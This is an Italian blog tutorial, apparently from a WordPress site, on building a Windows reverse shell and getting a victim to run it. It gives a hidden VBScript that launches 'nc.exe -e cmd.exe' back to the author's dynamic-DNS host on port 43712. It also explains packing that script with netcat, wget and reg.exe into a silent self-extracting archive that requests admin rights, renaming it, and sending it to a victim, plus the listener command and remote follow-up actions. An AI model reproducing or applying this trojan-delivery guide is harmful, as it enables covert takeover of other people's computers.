Revers Shell

revers shell

Una reverse shell è un tipo di attacco che permette di ottenere il prompt dei comandi di un sistema remoto con diritti amministrativi.

A differenza di una “direct shell”, non è chi attacca che si collega al pc-vittima. Sarà bensì il pc-vittima che si collegherà al pc di chi attacca, fornendogli il prompt dei comandi.

Questo consente di ovviare ai già discussi problemi di “pass-through”, ossia riuscire a sorpassare firewall, router e quant’altro blocchi le connessioni in ingresso verso il pc-vittima.

Il tutorial che segue cercherà di spiegare come impostare una reverse shell per ottenere il controllo del prompt dei comandi di sistemi remoti basati su Windows.

Strumenti necessari:

NetCat (nc.exe, network utility che permette di agganciare programmi in riga di comando e redirezionare l’input e l’output da e verso un sistema remoto)
WinRar (software utility di compressione / decompressione archivi; utilissimo per creare i famigerati archivi autoestraenti)
Editor del Registro di sistema (reg.exe, software utility di editazione del registro di windows da riga di comando)
WebGet (wget.exe, network utility che permette di scaricare qualsiasi file via HTTP o FTP direttamente da riga di comando)

Prerogative:

Iscrizione ad un servizio di DNS dinamici (tipo DynDNS, No-IP, etc.)
Installazione di un client Updater di DNS dinamici sul proprio PC
Apertura di una porta TCP (liberamente scelta) sul firewall del proprio PC
Eventualmente (se ci si collega ad internet con un router), forward della porta TCP che è stata scelta, dal router al proprio PC Client.

– PARTE 1 – Preparazione del proprio PC

Si inizia con l’iscrizione al servizio di DNS dinamici. I DNS dinamici sono necessari per poter “ritrovare” il nostro pc in internet senza dover ogni volta andare a controllare il nostro IP pubblico (che cambia, di tanto in tanto, essendo un IP dinamico).

In questo esempio si userà il servizio fonito da DynDNS.org [http://www.dyndns.org].
CREAZIONE HOST DYNDNS

Recarsi sul sito http://www.dyndns.org ed effettuare un’iscrizione.
Una volta iscritti e verificati, recarsi nella sezione “My services” e cliccare il link “add hostname” in prossimità della sezione “Host Services”.
Qui avrete la possibilità di scegliervi una specie di dominio di terzo livello. Dovrete scegliere, dal menu a tendina sulla destra, un “suffisso” (ce ne sono diversi, dyndns.org, blogsite.org, kick-ass.org, etc.). Scegliete quello che più vi aggrada. In quest’esempio ho scelto “kick-ass.org”.
A questo punto, è necessario scegliere un “prefisso”, che starà prima di kick-ass.org. In questo esempio io ho scritto “shell”, in modo da formare il dominio di terzo livello shell.kick-ass.org.
Poi, cliccate sul link “Use auto detected IP address xxx.xxx.xxx.xxx” che c’è sotto. Questo farà in modo che il dominio che si sta per creare punterà subito all’IP della vostra connessione ad internet.
Ora potete cliccare il bottone “Create Host”, per confermare la creazione del vostro DNS dinamico.

(naturalmente, il servizio suddetto è del tutto gratutito. DynDNS offre anche servizi “premium” a pagamento, ma per quello di cui abbiamo bisogno ci và più che bene il servizio base gratuito).

INSTALLAZIONE DYNDNS UPDATER SUL PROPRIO PC

Ora che abbiamo registrato correttamente il nostro host e l’abbiamo sincronizzato al nostro attuale indirizzo IP, abbiamo bisogno di installare un software “updater” che faccia in modo che ogni volta che il nostro IP cambia l’host shell.kick-ass.org venga risincronizzato con il nuovo IP.

DynDNS offre un client gratuito. Recatevi su https://www.dyndns.com/support/clients/ e cliccate il link “Download Now” che è presente sulla destra. In questo modo scaricherete il software DynUpSetup.exe.

Eseguite il setup e premete “next” fino ad arrivare alla schermata “Install as a service”. Qui raccomando di mettere il segno di spunta sulla casella “Install the DynDNS Updater as a Windows Service”. In questo modo, l’updater sarà installato come un servizio di windows, e si avvierà automaticamente fornendovi una sincronizzazione dell’IP completamente automatica.
Al termine dell’installazione, si aprirà una schermata che vi chiede le informazioni del vostro account DynDNS (nome utente e password). Inserite i dati e vedrete che il programma aggiungerà il nome host shell.kick-ass.org all’interno della finestra. Cliccate il quadratino in prossimità del nome host per impostare la sincronizzazione. Ora cliccate il bottone “OK” e il gioco è fatto.

SCELTA DELLA PORTA TCP DA USARE PER LE CONNESSIONI E RELATIVA APERTURA SUL FIREWALL DI WINDOWS

A questo punto è necessario decidere quale porta TCP usare per accettare le connessioni in ingresso delle future vittime.

Qualsiasi porta puo’ andar bene.. Ovviamente, conviene scegliere una porta “poco sospetta”, dove nessun eventuale curiosone andrebeb a cercare eventuali servizi in ascolto.
A tal proposito, direi che una qualsiasi porta TCP dalla 40000 alla 50000 può andar bene.
Nel nostro esempio useremo la porta TCP 43712 (e sfido qualsiasi curiosone ad immaginare che su quella porta ci giri un servizio!).

Recatevi sul pannello di controllo del vostro PC, cliccate l’icona “Widnows Firewall”, recatevi sulla scheda “eccezioni” (se usate Vista, prima dovete cliccare sul link “Modifica impostazioni”) e cliccate il bottone “Aggiungi porta”.
A questo punto inseriremo: come nome porta “revshell” (ovviamente è solo un esempio), come numero porta 43712, come protocollo TCP.
Ora potete premere “OK” e di nuovo “OK”. Il firewall di windows è stato correttamente impostato per lasciar passare le connessioni in ingresso sulla porta TCP 43712.

Se vi connettete ad internet tramite modem USB o modem Ethernet (in questo caso, di solito ci si connette con username e password direttamente da windows) siete pronti così e non avete bisogno di ulteriori passaggi per configurare le connessioni in ingresso.

PER CHI USA UN ROUTER PER CONNETTERSI AD INTERNET, PORT-FORWARD

Chi usa un router (che sia cablato o wireless, non fà differenza) ha bisogno di un ulteriore passaggio per accettare connesisoni in ingresso.
Sarà necessario impostare un port-forwarding dalla porta TCP 43712 del router alla porta TCP 43712 del proprio PC client.
Per capirci, se usate emule con un router non configurato, incapperete nel famoso problema dell’ID basso (l’iconcina del mulo ha una benda nera sugli occhi). E’ esattamente la stessa situazione in cui ci troviamo noi con questa guida.
Siccome l’apertura delle porte sui router non è una procedura standard (cambia a seconda del modello di router) vi rimando alla pagina di help di emule-italia, dov’è presente una guida per il port forwarding e vari esempi per vari modelli di router: http://www.emule.it/guida_emule/config_porte/routers.asp

Seguite la guida ricordandovi di effettuare la configurazione per la porta TCP 43712 (la parte relativa alla porta UDP la potete tranquillamente saltare).

– PARTE 2 – Preparazione del “pacchetto sorpresa” da inviare alla vittima

In questa fase vedremo come preparare l’archivio autoestraente da inviare alla vittima; inseriremo nel pacchetto tutti i programmi fondamentali per prendere il controllo del PC e “agganciarsi” ad esso con unghie e denti.

DOWNLOAD DEGLI STRUMENTI

NetCathttp://joncraton.org/files/nc111nt.zip
[ Non esiste nessuna homepage dove scaricare il NetCat per Windows, il link l’ho trovato direttamente su wikipedia, qui: http://en.wikipedia.org/wiki/Netcat
Inoltre, NetCat è un hacking tool; ciò significa che di per sé è innocuo, ma se usato da un hacker per scopi maliziosi, diventa un potente strumento di controllo remoto; pertanto, alcuni antivirus (tra i quali Kaspersky e Norton) lo rilevano come “potenzialmente pericoloso” ]

WinRarhttp://www.rarlab.com/rar/wrar380b4it.exe
[ Famosissimo programma di gestione archivi. Il link in alto è per la versione 3.80 beta 4 in Italiano. Se si desidera installare una versione diversa, rimando alla homepage http://www.rarlab.com ]

Reg.exe [editor del registro]http://www.dynawell.com/download/reskit/mi…win2000/reg.zip
[ Editor del registro di sistema di Windows da riga di comando. La versione linkata è quella contenuta nel Resource Kit per Windows 2000. In windows XP (credo anche in Vista) il comando reg.exe dovrebbe essere presente di default nel sistema operativo. Io lo includo nel pacchetto per ovviare a qualsiasi evenienza ]

WebGethttp://users.ugent.be/~bpuype/cgi-bin/fetc…l=wget/wget.exe
[ Port per Win32 del programma fondamentale webget (di default si trova in qualsiasi distribuzione di Linux / Unix). Il programma permette di effettuare download di files via HTTP o FTP direttamente da riga di comando ]

Create una cartella da qualche parte (sul Desktop?) chiamata “revshell”; scaricate tutti gli strumenti sopraelencati, e copiate gli eseguibili “nc.exe”, “reg.exe” e “wget.exe” all’interno della cartella revshell. Installate WinRar.

Il contenuto della cartella dovrà essere il seguente:

– revshell:
–> nc.exe
–> reg.exe
–> wget.exe

Adesso, sarà necessario creare uno script batch (io uso il VBScript per creare i batch, probabilmente si può fare anche con i semplici “.BAT”, ma da lì non so come eseguire programmi in modalità nascosta…).

Aprite il blocco note e incollate all’interno queste 2 righe di codice:

CODICE

Set WshShell = WScript.CreateObject(“WScript.Shell”)
WshShell.Run “nc.exe -e cmd.exe shell.kick-ass.org 43712”, 0

Cosa vuol dire quel codice?
Lo script in VBS esegue il programma nc.exe, agganciandogli (-e) il prompt dei comandi (cmd.exe) e gli dice di connettersi verso l’host shell.kickass.org sulla porta 43712. Lo zero alla fine serve a specificare che il prog deve essere eseguito senza mostrare la finestra (hehe).

Salvate il file come “revshell.vbs” (mi raccomando l’estensione “vbs”) e piazzatelo nella cartella “revshell” insieme agli altri 3 EXE.

CREAZIONE DEL PACCHETTO AUTO-ESTRAENTE

Ora, selezionate tutti e quattro i files (3 .exe e 1 .vbs), cliccate col tasto destro sulla selezione e scegliete “Aggiungi ad un archivio” dal menu contestuale.

Si aprirà la finestra di creazione archivi di WinRar.

Mettete subito il segno di spunta su “Crea un archivio autoestraente”:

A questo punto passate alla scheda “Avanzati” e cliccate il bottone “Modulo auto-estraente”.
Si aprirà un’ulteriore finestra.

Mettete,
“percorso d’estrazione”: ../windows/system32/sys
“esegui dopo l’estrazione”: revshell.vbs

Poi, passate alla scheda “Avanzate” e mettete il segno di spunta su “Richiedi l’accesso come amministratore”.

Poi, passate alla scheda “Modalità” e scegliete “Nascondi tutto” e “Sovrascrivi tutti i file già esistenti”.

Opzionalmente, potete recarvi sulla scheda “Testo iniziale ed icone” e scegliere un icona personalizzata cliccando il bottone “sfoglia” in prossimità di “carica l’icona dal file”.

Fatto questo, premete il bottone “OK”, di nuovo “OK” e verrà creato il file “revshell.exe” nella cartella revshell

Il pacchetto è pronto per essere inviato.

– PARTE 3 – Mettere NetCat in ascolto sul PC locale

CREAZIONE DEL BATCH PER L’ESECUZIONE LOCALE DI NETCAT

Per poter accettare la connessione reverse del pc vittima, sarà necessario mettere in ascolto NetCat sul nostro PC locale. Avendo già impostato i DNS dinamici, avendo già aperto le porte sul firewall (ed eventualmente avendo anche forwardato la porta sul router), il nostro PC è perfettamente equipaggiato per accettare le connessioni in ingresso sulla porta TCP 43712.

Recatevi nella cartella revshell e create un nuovo file di testo, chiamandolo “nc_locale.cmd” (mi raccomando l’estensione “.cmd”. In alternativa si può usare l’estensione “.bat”; non c’è differenza, l’importante è che non lasciate il “.txt”).

Aprite il file e scriveteci dentro:

CODICE

nc.exe -v -L -p 43712

Cosa significa quel codice? Quel codice lancia NetCat sul vostro PC con lo switch “verbose” (-v, significa che “chiacchiererà” parecchio), lo mette in modalità “ascolto” (-L, in inglese “Listening”) sulla porta 43712 (-p 43712).

Salvate il file.

– E ADESSO FACCIAMO PARTIRE IL TUTTO –

Per prima cosa, cliccate il file “nc_locale.cmd” della cartella revshell del vostro computer. Si aprirà una shell con NetCat che attende una connessione in ingresso.

Adesso, inviate il pacchetto “revshell.exe” (magari cabiate il nome C_C ) alla vostra vittima e fate in modo che lo esegua.

Se tutto va bene (e per “va bene” intendo dire che la “vittima” non abbia in uso Norton Antivirus o Kaspersky, che ahimé, intercettano nc.exe come “hacking tool”) dovrebbe comparire il prompt dei comandi del pc vittima direttamente sul vostro schermo, esattamente dove avevamo lasciato NetCat in ascolto.

Ora che avete il prompt remoto, teoricamente potete fare qualsiasi cosa: con wget potete far scaricare alla vittima qualsiasi programma, ed eseguirlo da remoto. Con reg.exe potete editare il registro di sistema remoto per aggiungere, rimuovere chiavi di registro. Col comando “tasklist.exe” potete visualizzare la lista dei processi in esecuzione sul pc remoto, e col comando “taskkill.exe” li potete terminare… Eccetera, eccetera

Una Risposta to “Revers Shell”

  1. Ciao Ago bella guida ! mi sa però che c’è un errore quando dici il percorso di estrazione perchè in windows non esiste nessuna cartella in System32 denominata sys
    perfavore provvedi
    ciao

Lascia un commento

Inserisci i tuoi dati qui sotto o clicca su un'icona per effettuare l'accesso:

Logo WordPress.com

Stai commentando usando il tuo account WordPress.com. Chiudi sessione / Modifica )

Foto Twitter

Stai commentando usando il tuo account Twitter. Chiudi sessione / Modifica )

Foto di Facebook

Stai commentando usando il tuo account Facebook. Chiudi sessione / Modifica )

Google+ photo

Stai commentando usando il tuo account Google+. Chiudi sessione / Modifica )

Connessione a %s...

%d blogger cliccano Mi Piace per questo: